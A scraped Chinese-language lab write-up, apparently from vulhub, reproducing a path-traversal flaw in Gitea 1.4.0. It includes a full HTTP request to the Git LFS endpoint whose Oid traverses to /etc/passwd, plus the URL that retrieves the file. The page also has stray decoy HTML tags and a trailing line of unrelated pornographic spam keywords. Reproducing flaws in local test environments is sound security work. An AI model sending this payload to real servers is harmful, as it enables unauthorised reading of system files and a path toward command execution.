<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Gitea 1.4.0 目錄穿越導致命令執行漏洞

    Path gitea/1.4-rce

    Gitea是從gogs衍生出的一個開源項目,是一個類似于Github、Gitlab的多用戶Git倉庫管理平臺。其1.4.0版本中有一處邏輯錯誤,導致未授權用戶可以穿越目錄,讀寫任意文件,最終導致執行任意命令。

    參考鏈接:

    漏洞環境

    執行如下命令啟動啟動漏洞環境:

    docker-compose up -d

    環境啟動后,訪問http://you-ip:3000,將進入安裝頁面,填寫管理員賬號密碼,并修改網站URL,其他的用默認配置安裝即可。(不要修改端口號)

    安裝完成后,創建一個公開的倉庫,隨便添加點文件進去(比如使用選定的文件和模板初始化倉庫):

    然后,需要執行一次docker-compose restart重啟gitea服務。(原因詳見第二個參考鏈接)

    漏洞復現

    由于漏洞鏈整體利用比較復雜,我們只復現文件讀取部分,剩余利用方法詳見第二個參考鏈接。

    打開gitea,找到剛才創建的公開項目,如vulhub/repo,發送如下數據包,添加一個Git LFS對象:

    POST /vulhub/repo.git/info/lfs/objects HTTP/1.1
    Host: your-ip:3000
    Accept-Encoding: gzip, deflate
    Accept: application/vnd.git-lfs+json
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 151
    
    {
        "Oid": "....../../../etc/passwd",
        "Size": 1000000,
        "User" : "a",
        "Password" : "a",
        "Repo" : "a",
        "Authorization" : "a"
    }

    然后,訪問http://your-ip:3000/vulhub/repo.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth,即可看到/etc/passwd已被成功讀取:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类